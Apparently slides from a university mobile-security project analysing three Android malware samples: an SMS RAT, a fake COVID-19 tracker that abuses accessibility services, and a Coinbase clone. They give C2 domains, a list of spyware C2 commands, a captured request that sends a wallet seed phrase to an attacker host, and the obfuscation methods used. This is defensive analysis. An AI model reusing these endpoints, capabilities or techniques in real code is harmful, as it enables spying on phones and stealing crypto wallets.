

# Android Malware Analysis

Static & Dynamic Analysis of Common Android Malware

DEV v1.3-RC1

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
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📖 Mobile Security KU SS/23

📅 16th of June 2023

📄 SLIDES & REPORT



[ls.ecomaikgolf.com/slides/androidmalware/](https://ls.ecomaikgolf.com/slides/androidmalware/)

# MOTIVATION

## **Motivation:**

- We are heavy Android users
- CTF related interest in reversing
- Useful for CTFs at LosFuzzys
- Real world scenario (modern malware)

## **State of Malware:**

- Malicious apk
- Increasing due to android popularity
- Code usually obfuscated
- Different kinds of malware



Midjourney: "the android logo, but evil -ar 9:16 -v 5 -s 750"

# SETUP

## FRIDA



### **Dynamic Analysis**

Well known tool  
Hooking capabilities

## RMS



### **Dynamic Analysis**

Android/iOS analysis  
Frida wrapper

## MOBSF



### **Mixed Analysis**

Web based interface  
Eases static analysis

## BURPSUITE

### **Network Analysis**

System certificates installed


## ANDROID AVD & DEBUGGER

### **Emulation Layer**


Debugging; Rooted; GServices

# SAMPLE 1: REALRAT

- Requested SMS permissions to spy on user
- Installs a SMS receiver `ir.siqe.holo.MyReceiver` with max priority
- Shows signs of per-user killswitch, not well implemented
- Serious bugs in the code ("`https://google.com`" + `str`)
- Domain & APK flagged by multiple analysis engines



**Endpoint:** `eblaqie.org` (taken down)




## SAMPLE 2: COVID19 TRACKING (I)

- Registers as “Accessibility Service” for Covid19 tracking
- Doesn't provide any functionality for the user
- Activates checking for elcamino.top. (/etc/hosts trick)
- Advanced obfuscation with dynamic DEX class loading
- Fully capable spyware, lots of functionalities found
- Can track SMS, can track launched apps, keypresses, etc.
- Fakes keypresses to avoid reverting accessibility service

```
283 [API_Monitor]
284 {
285   "category": "SharedPreferences",
286   "class": "android.app.SharedPreferencesImpl",
287   "method": "getString",
288   "args": "[\\\"AS\\\",null]",
289   "returnValue": "Blocked attempt to disable accessibility service[143523#]Input SMS: 6505551212 Text: Android is always a sweet treat![143523#]Input SMS: 6
290   "calledFrom": "zyprizcwhroxzrounow.elzypzyeockooslxohogush.yjqclrdzfjuilshazng.e.1(oymbn.java:1461)"
291 }
```


**C2C Domain:** elcamino.top (taken down)

**Cache:** SharedPreferences



## SAMPLE 2: COVID19 TRACKING (II)

Runtime decryption and loading process:



**Decryption:** Reversed engineered the decryptor and implemented it on python

### C2C COMMANDS

<code>url</code>	<code>run_record_audio</code>	<code>run_app</code>
<code>notification</code>	<code>open_folder</code>	<code>call_forward</code>
<code>grabbing_pass_gmail</code>	<code>grabbing_lockpattern</code>	<code>change_url_recover</code>
<code>send_sms</code>	<code>sms_mailing_phonebook</code>	<code>open_teamviewer</code>

...

## SAMPLE 3: COINBASE CLONE (I)

- Domain & Endpoint obfuscated
- Simple (char ⊕ 9) obfuscation
- Avoids static intel endpoint analysis
- Endpoint was active and not flagged during analysis
- &type=coinbase shows that it's part of a bigger operation


### Request

Pretty Raw Hex



```
1 GET /hi/baby?c=4&app=4&client=2&o=
  slush%20all%20mail%20permit%20link%20lava%20merry%20harvest%20heart%20pencil%20lock%20design&
  type=coinbase HTTP/1.1
2 User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; sdk_gphone_x86_64 Build/TE1A.220922.025)
3 Host: dx.oiuy.cc
4 Connection: close
5 Accept-Encoding: gzip, deflate
6
7
```


**Endpoint:** dx.oiuy.cc (active! very recent malware)



## SAMPLE 3: COINBASE CLONE (II)

### Bonus:


- The author seems very very sorry



sorry

### Bonus II:

- Days after, server started crashing
- Showed logs of on-chain ETH requests
- Probably checking if there are funds in the wallet
- Chain analysis API key got banned or rate limited





# CONCLUSION

Mobile (Android and iOS) malware situation is much better than in desktop:

- No root user
- Application sandboxing
- Permission system
- Read-only /system
- Limited surface
- Easy to remove malware

...

## ANDROID SECURITY TAKEAWAYS

- Don't Root your phone
- Don't leave the bootloader unlocked
- Enable Google Play Protect
- Install vendor & app updates
- Enforce security updates
- Avoid non official stores (or the sketchy ones)
- Never give accessibility or management permissions to apps

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
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